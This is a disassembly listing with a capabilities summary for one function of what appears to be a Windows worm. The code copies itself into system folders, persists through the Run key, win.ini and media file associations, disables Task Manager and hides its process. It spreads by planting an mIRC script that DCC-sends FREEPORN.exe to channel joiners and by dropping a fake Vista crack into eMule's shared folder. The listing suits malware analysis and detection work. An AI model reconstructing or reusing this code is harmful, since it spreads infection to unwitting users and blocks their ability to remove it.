Function at 0x401000
Capabilities:
Check mutex on windows
Copy file
Create thread
Disable system features via registry on windows
Get common file path
Get installed programs
Persist via default file association registry key
Persist via run registry key
Query or enumerate registry value
Set registry value
Write file on windows

Disassembly:
push str._Parmenide_
push 1
push 0
call sub.KERNEL32.DLL_CreateMutexA
call sub.KERNEL32.DLL_GetLastError
cmp eax, 0xb7
je 0x401173
push 0x104
push 0x402008
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
push 0x104
push 0x40210c
call sub.KERNEL32.DLL_GetWindowsDirectoryA
push 0x40210c
push 0x402391
call sub.KERNEL32.DLL_lstrcpy
push 0x104
push 0x402210
call sub.KERNEL32.DLL_GetSystemDirectoryA
push str.player_1.exe
push 0x40210c
call sub.KERNEL32.DLL_lstrcat
push str.windebug.exe
push 0x402210
call sub.KERNEL32.DLL_lstrcat
call fcn.00401708
push 0
push 0x40210c
push 0x402008
call sub.KERNEL32.DLL_CopyFileA
push 0
push 0x402210
push 0x402008
call sub.KERNEL32.DLL_CopyFileA
push str.Parmenide.teb
push 0x402391
call sub.KERNEL32.DLL_lstrcat
push 0
push 0
push 3
push 0
push 1
push closesocket
push 0x402391
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
jne 0x40117b
push 0
push 0
push 1
push 0
push 2
push 0x40000000
push 0x402391
call sub.KERNEL32.DLL_CreateFileA
push eax
call sub.KERNEL32.DLL_CloseHandle
mov dword [0x402c28], 0x94
push 0x402c28
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [0x402c2c], 4
jne 0x401124
push 0x402210
push 0x402a44
push str.windows
call sub.KERNEL32.DLL_WriteProfileStringA
jmp 0x401173
push 0x4024c9
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.WSOCK32.DLL_bind
call sub.ADVAPI32.DLL_RegOpenKeyA
cmp eax, 0
jne 0x401173
push 0x402210
call sub.KERNEL32.DLL_lstrlen
mov ebx, 1
add eax, ebx
push eax
push 0x402210
push 1
push 0
push str.WinDebug
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegCloseKey
xor edx, edx
push edx
call sub.KERNEL32.DLL_ExitProcess
push eax
call sub.KERNEL32.DLL_CloseHandle
mov dword [0x402c28], 0x94
push 0x402c28
call sub.KERNEL32.DLL_GetVersionExA
cmp dword [0x402c2c], 4
jne 0x4011d2
push str.KERNEL32.DLL
call sub.KERNEL32.DLL_LoadLibraryA
cmp eax, 0
je 0x40123c
push str.RegisterServiceProcess
push eax
call sub.KERNEL32.DLL_GetProcAddress
cmp eax, 0
je 0x40123c
mov dword [0x402ab4], eax
push 1
push 0
call dword [0x402ab4]
jmp 0x40123c
push 0x4024c9
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.WSOCK32.DLL_accept
call sub.ADVAPI32.DLL_RegCreateKeyA
cmp eax, 0
jne 0x40123c
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegCloseKey
push 0x4024c9
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
push reloc.WSOCK32.DLL_accept
call sub.ADVAPI32.DLL_RegOpenKeyExA
cmp eax, 0
jne 0x40123c
push 4
push 0x402a99
push 4
push 0
push str.DisableTaskMgr
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegSetValueExA
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegCloseKey
push 0x4024c9
push str.SoftwareMicrosoftWindowsCurrentVersionUninstallmIRC
push reloc.WSOCK32.DLL_bind
call sub.ADVAPI32.DLL_RegOpenKeyA
cmp eax, 0
jne 0x401373
push 0x40278c
push 0x4024fd
push 0
push 0
push str.UninstallString
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegQueryValueExA
cmp eax, 0
jne 0x401373
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegCloseKey
push 0x4024fe
push 0x4024fd
call sub.KERNEL32.DLL_lstrcpy
push 0x4024fd
xor ecx, ecx
cmp byte [ecx + 0x4024fd], 0x22
je 0x4012ad
inc ecx
jmp 0x4012a1
xor ebx, ebx
mov byte [ecx + 0x4024fd], bh
xor ecx, ecx
cmp byte [ecx + 0x4024fd], 0x2e
je 0x4012c3
inc ecx
jmp 0x4012b7
xor ebx, ebx
mov byte [ecx + 0x4024f9], bh
push 0x4024fd
push 0x4028b2
call sub.KERNEL32.DLL_lstrcpy
push str.FREEPORN.exe
push 0x4028b2
call sub.KERNEL32.DLL_lstrcat
push str.script.ini
push 0x4024fd
call sub.KERNEL32.DLL_lstrcat
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push 0x4024fd
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
je 0x401373
mov dword [0x4028aa], eax
push 0
push 0x4028ae
push str._Script__r_nn0on_1:join::__if____nick___me___halt_r_nn1else__dcc_send__nick_FREEPORN.exe_
call sub.KERNEL32.DLL_lstrlen
push eax
push str._Script__r_nn0on_1:join::__if____nick___me___halt_r_nn1else__dcc_send__nick_FREEPORN.exe_
push dword [0x4028aa]
call sub.KERNEL32.DLL_WriteFile
push dword [0x4028aa]
call sub.KERNEL32.DLL_CloseHandle
push 0x4024fd
call sub.KERNEL32.DLL_lstrlen
push dword [eax + 0x4024f2]
push 0x4024fd
call sub.KERNEL32.DLL_lstrcpy
push 0
push 0x4028b2
push 0x402008
call sub.KERNEL32.DLL_CopyFileA
push 0x4024c9
push str.SoftwareeMule
push reloc.WSOCK32.DLL_accept
call sub.ADVAPI32.DLL_RegOpenKeyA
cmp eax, 0
jne 0x4013cf
push 0x40278c
push 0x402688
push 0
push 0
push str.Install_Path
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegQueryValueExA
cmp eax, 0
jne 0x4013cf
push str.IncomingWINDOWS_VISTA_CRACK.exe
push 0x402688
call sub.KERNEL32.DLL_lstrcat
push 0
push 0x402688
push 0x402008
call sub.KERNEL32.DLL_CopyFileA
push 0x4024c9
push str.SOFTWAREClassesmp3file_shellopencommand
push reloc.WSOCK32.DLL_bind
call sub.ADVAPI32.DLL_RegOpenKeyA
cmp eax, 0
jne 0x401455
push 0x40210c
call sub.KERNEL32.DLL_lstrlen
push eax
push 0x40210c
push 1
push 0
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegSetValueA
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegCloseKey
push 0x4024c9
push str.SOFTWAREClassesmp3file_shellplaycommand
push reloc.WSOCK32.DLL_bind
call sub.ADVAPI32.DLL_RegOpenKeyA
cmp eax, 0
jne 0x401455
push 0x40210c
call sub.KERNEL32.DLL_lstrlen
push eax
push 0x40210c
push 1
push 0
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegSetValueA
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegCloseKey
push 0x4024c9
push str.SOFTWAREClassesmpegfile_shellopencommand
push reloc.WSOCK32.DLL_bind
call sub.ADVAPI32.DLL_RegOpenKeyA
cmp eax, 0
jne 0x4014db
push 0x40210c
call sub.KERNEL32.DLL_lstrlen
push eax
push 0x40210c
push 1
push 0
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegSetValueA
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegCloseKey
push 0x4024c9
push str.SOFTWAREClassesmpegfile_shellplaycommand
push reloc.WSOCK32.DLL_bind
call sub.ADVAPI32.DLL_RegOpenKeyA
cmp eax, 0
jne 0x4014db
push 0x40210c
call sub.KERNEL32.DLL_lstrlen
push eax
push 0x40210c
push 1
push 0
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegSetValueA
push dword [0x4024c9]
call sub.ADVAPI32.DLL_RegCloseKey
push 0x4024cd
push 0
push 0
push 0x401543
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push 0x4024cd
push 0
push 0
push 0x40158d
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push 0x4024cd
push 0
push 0
push 0x4015ac
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push 0x4024cd
push 0
push 0
push 0x40166b
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
push 0xdbba0
call sub.KERNEL32.DLL_Sleep
jmp 0x401537